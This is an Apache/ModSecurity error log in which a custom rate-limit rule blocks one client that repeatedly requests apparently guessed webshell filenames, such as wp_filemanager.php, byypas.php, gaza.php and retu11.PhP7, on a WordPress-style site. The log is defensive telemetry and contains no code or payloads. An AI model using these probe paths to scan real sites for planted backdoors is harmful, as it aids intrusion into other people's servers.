[Sat Apr 18 10:36:09.139329 2026] [:error] [pid 9970:tid 9976] [client 135.225.27.101:25237] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeLuGSYdRLRhVmaIMx0vQAAAAMI"]
[Sat Apr 18 10:36:11.795424 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:7858] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeLuGxqX6WpmmAXOBi-R5wAAAcY"]
[Sat Apr 18 10:36:14.100926 2026] [:error] [pid 13023:tid 13033] [client 135.225.27.101:25306] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeLuHv1e7hG8DAeABB93mQAAAQg"]
[Sat Apr 18 10:36:17.945942 2026] [:error] [pid 34237:tid 34248] [client 135.225.27.101:25331] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeLuIRBmX4Wq5a6rxfYYgwAAAUk"]
[Sat Apr 18 10:36:19.388896 2026] [:error] [pid 9864:tid 9916] [client 135.225.27.101:7840] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeLuI4CFeowknfXHM7luiAAAAEo"]
[Sat Apr 18 10:37:05.471719 2026] [:error] [pid 13023:tid 13034] [client 135.225.27.101:25284] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeLuUf1e7hG8DAeABB939wAAAQk"]
[Sat Apr 18 10:37:06.333074 2026] [:error] [pid 9863:tid 9890] [client 135.225.27.101:25318] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeLuUjjjiypiFrTucbJa5QAAABE"]
[Sat Apr 18 10:37:06.990454 2026] [:error] [pid 34288:tid 34316] [client 135.225.27.101:57084] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeLuUuTIiy__PtiLmpl6wAAAAZg"]
[Sat Apr 18 10:37:08.031883 2026] [:error] [pid 34288:tid 34315] [client 135.225.27.101:7861] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeLuVOTIiy__PtiLmpl6wQAAAZc"]
[Sat Apr 18 10:37:08.815765 2026] [:error] [pid 13023:tid 13041] [client 135.225.27.101:25243] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeLuVP1e7hG8DAeABB93-gAAARA"]
[Sat Apr 18 10:37:09.406399 2026] [:error] [pid 9970:tid 9974] [client 135.225.27.101:25328] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeLuVSYdRLRhVmaIMx0vhwAAAMA"]
[Sat Apr 18 10:37:10.178639 2026] [:error] [pid 34290:tid 34335] [client 135.225.27.101:25338] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeLuVhqX6WpmmAXOBi-SXAAAAdA"]
[Sat Apr 18 10:37:10.885078 2026] [:error] [pid 34290:tid 34320] [client 135.225.27.101:25317] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeLuVhqX6WpmmAXOBi-SYQAAAcE"]
[Sat Apr 18 10:37:11.663273 2026] [:error] [pid 34237:tid 34239] [client 135.225.27.101:25280] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeLuVxBmX4Wq5a6rxfYYpQAAAUA"]
[Sat Apr 18 10:37:12.438848 2026] [:error] [pid 9970:tid 9977] [client 135.225.27.101:25239] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeLuWCYdRLRhVmaIMx0viwAAAMM"]
[Sat Apr 18 10:37:13.279844 2026] [:error] [pid 34288:tid 34306] [client 135.225.27.101:25246] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeLuWeTIiy__PtiLmpl6wwAAAY4"]
[Sat Apr 18 10:37:14.406288 2026] [:error] [pid 9970:tid 9979] [client 135.225.27.101:25292] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeLuWiYdRLRhVmaIMx0vqQAAAMU"]
[Sat Apr 18 10:37:15.228170 2026] [:error] [pid 9864:tid 9916] [client 135.225.27.101:25310] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeLuW4CFeowknfXHM7lukQAAAEo"]
[Sat Apr 18 10:37:15.957470 2026] [:error] [pid 34290:tid 34324] [client 135.225.27.101:25332] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeLuWxqX6WpmmAXOBi-SawAAAcU"]
[Sat Apr 18 10:37:16.779152 2026] [:error] [pid 34290:tid 34337] [client 135.225.27.101:25330] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeLuXBqX6WpmmAXOBi-SbgAAAdI"]
[Sat Apr 18 10:37:17.731987 2026] [:error] [pid 34288:tid 34309] [client 135.225.27.101:25217] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeLuXeTIiy__PtiLmpl6xAAAAZE"]
[Sat Apr 18 10:37:19.268735 2026] [:error] [pid 9865:tid 9950] [client 135.225.27.101:25278] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeLuX6zb5knECIY-C-j8TgAAAI0"]
[Sat Apr 18 10:37:22.932166 2026] [:error] [pid 34290:tid 34320] [client 135.225.27.101:57049] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeLuYhqX6WpmmAXOBi-SdgAAAcE"]
[Sat Apr 18 10:37:24.507422 2026] [:error] [pid 9863:tid 9886] [client 135.225.27.101:57069] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeLuZDjjiypiFrTucbJa8AAAAA0"]
[Sat Apr 18 10:37:26.100575 2026] [:error] [pid 13023:tid 13034] [client 135.225.27.101:25325] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeLuZv1e7hG8DAeABB94AgAAAQk"]
[Sat Apr 18 10:37:27.358278 2026] [:error] [pid 13023:tid 13035] [client 135.225.27.101:57044] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeLuZ_1e7hG8DAeABB94BgAAAQo"]
[Sat Apr 18 10:37:29.364342 2026] [:error] [pid 9863:tid 9884] [client 135.225.27.101:25329] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeLuaTjjiypiFrTucbJa9QAAAAs"]
[Sat Apr 18 10:37:31.033619 2026] [:error] [pid 34290:tid 34342] [client 135.225.27.101:25286] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeLuaxqX6WpmmAXOBi-SfwAAAdc"]
[Sat Apr 18 10:37:31.813371 2026] [:error] [pid 34290:tid 34334] [client 135.225.27.101:25220] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeLuaxqX6WpmmAXOBi-SggAAAc8"]
[Sat Apr 18 10:37:32.692376 2026] [:error] [pid 34290:tid 34333] [client 135.225.27.101:25267] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeLubBqX6WpmmAXOBi-SiQAAAc4"]
[Sat Apr 18 10:37:33.394684 2026] [:error] [pid 34290:tid 34324] [client 135.225.27.101:25225] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeLubRqX6WpmmAXOBi-SjwAAAcU"]
[Sat Apr 18 10:37:34.110027 2026] [:error] [pid 9970:tid 9990] [client 135.225.27.101:25290] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeLubiYdRLRhVmaIMx0v2AAAANA"]
[Sat Apr 18 10:37:35.170572 2026] [:error] [pid 9970:tid 9976] [client 135.225.27.101:7848] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeLubyYdRLRhVmaIMx0v2wAAAMI"]
[Sat Apr 18 10:37:35.872904 2026] [:error] [pid 9970:tid 9983] [client 135.225.27.101:25157] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeLubyYdRLRhVmaIMx0v3gAAAMk"]
[Sat Apr 18 10:37:36.463135 2026] [:error] [pid 9970:tid 9977] [client 135.225.27.101:25289] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeLucCYdRLRhVmaIMx0v4gAAAMM"]
[Sat Apr 18 10:37:37.212052 2026] [:error] [pid 9864:tid 9916] [client 135.225.27.101:25312] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeLucYCFeowknfXHM7lupQAAAEo"]
[Sat Apr 18 10:37:38.168334 2026] [:error] [pid 34290:tid 34319] [client 135.225.27.101:25247] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeLuchqX6WpmmAXOBi-SmwAAAcA"]
[Sat Apr 18 10:37:38.834805 2026] [:error] [pid 9864:tid 9923] [client 135.225.27.101:25248] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeLucoCFeowknfXHM7lupgAAAFE"]
[Sat Apr 18 10:37:39.651075 2026] [:error] [pid 9970:tid 9987] [client 135.225.27.101:25337] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeLucyYdRLRhVmaIMx0v5wAAAM0"]
[Sat Apr 18 10:37:40.456686 2026] [:error] [pid 9970:tid 9997] [client 135.225.27.101:25218] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeLudCYdRLRhVmaIMx0v6wAAANc"]
[Sat Apr 18 10:37:41.153081 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:25162] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeLudRqX6WpmmAXOBi-SogAAAcY"]
[Sat Apr 18 10:37:42.795108 2026] [:error] [pid 34288:tid 34310] [client 135.225.27.101:25172] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeLuduTIiy__PtiLmpl61wAAAZI"]
[Sat Apr 18 10:37:44.117247 2026] [:error] [pid 34290:tid 34332] [client 135.225.27.101:25179] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeLueBqX6WpmmAXOBi-SrgAAAc0"]
[Sat Apr 18 10:37:45.147108 2026] [:error] [pid 34288:tid 34304] [client 135.225.27.101:25343] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeLueeTIiy__PtiLmpl63gAAAYw"]
[Sat Apr 18 10:37:46.063350 2026] [:error] [pid 34237:tid 34260] [client 135.225.27.101:25260] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeLuehBmX4Wq5a6rxfYYrgAAAVU"]
[Sat Apr 18 10:37:47.252815 2026] [:error] [pid 34288:tid 34292] [client 135.225.27.101:25309] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeLue-TIiy__PtiLmpl65gAAAYA"]
[Sat Apr 18 10:37:48.221481 2026] [:error] [pid 34288:tid 34310] [client 135.225.27.101:7866] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeLufOTIiy__PtiLmpl66AAAAZI"]
[Sat Apr 18 10:37:48.949105 2026] [:error] [pid 9970:tid 9976] [client 135.225.27.101:25321] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeLufCYdRLRhVmaIMx0v8wAAAMI"]
[Sat Apr 18 10:37:49.760455 2026] [:error] [pid 13023:tid 13046] [client 135.225.27.101:25270] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeLuff1e7hG8DAeABB94FgAAARU"]
[Sat Apr 18 10:37:50.883158 2026] [:error] [pid 13023:tid 13027] [client 135.225.27.101:25279] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeLufv1e7hG8DAeABB94GgAAAQI"]
[Sat Apr 18 10:37:52.296681 2026] [:error] [pid 13023:tid 13041] [client 135.225.27.101:25294] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeLugP1e7hG8DAeABB94GwAAARA"]
[Sat Apr 18 10:37:53.251020 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:25244] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeLugRqX6WpmmAXOBi-S2AAAAcY"]
[Sat Apr 18 10:37:54.148563 2026] [:error] [pid 9864:tid 9929] [client 135.225.27.101:25174] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeLugoCFeowknfXHM7lurAAAAFc"]
[Sat Apr 18 10:37:54.943602 2026] [:error] [pid 34290:tid 34336] [client 135.225.27.101:25250] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeLughqX6WpmmAXOBi-S5gAAAdE"]
[Sat Apr 18 10:37:55.945989 2026] [:error] [pid 9865:tid 9955] [client 135.225.27.101:25264] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeLug6zb5knECIY-C-j8WwAAAJI"]
[Sat Apr 18 10:37:56.822279 2026] [:error] [pid 34290:tid 34333] [client 135.225.27.101:7852] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeLuhBqX6WpmmAXOBi-S9QAAAc4"]
